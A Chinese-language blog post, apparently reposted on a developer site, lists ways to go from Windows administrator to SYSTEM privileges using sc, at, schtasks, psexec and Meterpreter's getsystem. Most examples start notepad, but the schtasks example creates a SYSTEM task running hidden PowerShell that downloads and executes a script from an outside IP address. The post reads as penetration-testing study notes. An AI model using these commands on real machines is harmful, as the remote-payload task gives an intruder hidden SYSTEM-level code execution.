前言

对windows中从admin到system权限到方法做一个小的记录。主要参考了三好学生的博客,三好学生博客地址
以下利用方式的前提是已经获取了计算机的administrator权限。

1. 通过sc命令(只适用于win xp)

以system权限启动notepad

sc Create badcode binPath= "cmd /c notepad.exe" type= own type= interact
sc start badcode

2. 通过计划任务命令(win7-win10)

计划任务有两种命令,at与schtasks。

2.1 通过at命令实现(只适用于win7)

以system权限在早晨7.50分启动notepad

at 7:50 notepad.exe

2.2 通过schtasks实现(win7-win10)

以system权限在每天早晨7.50分启动notepad

schtasks /Create /TN badcode /SC DAILY /ST 07:50 /TR "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\\\"http://172.16.250.3:802/a\\\"))\"" /RU SYSTEM
schtasks /run /tn badcode
schtasks /Query /TN badcode
schtasks /Delete /TN badcode /F

在这里插入图片描述
在这里插入图片描述

3. 通过psexec

#隐藏打开的notepad的窗口。

psexec.exe -accepteula -s -d notepad.exe

#以交互式的形式打开notepad

psexec.exe -accepteula -s -i notepad.exe

在这里插入图片描述

4. Meterpreter

获得administrator权限后直接使用getsystem命令即可获得system权限。

简单点说实现的原理是windows中倘若程序A创建了一个服务并提供了命名管道,然后system权限的服务B在链接此命名管道的时候程序A就能利用ImpersonateNamedPipeClient()函数来获得system权限。

详细的细节可以参考:
getsystem命令原理

参考文章

三好学生博客地址
玩转计划任务
Windows-schtasks命令中的单引号
getsystem命令原理

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐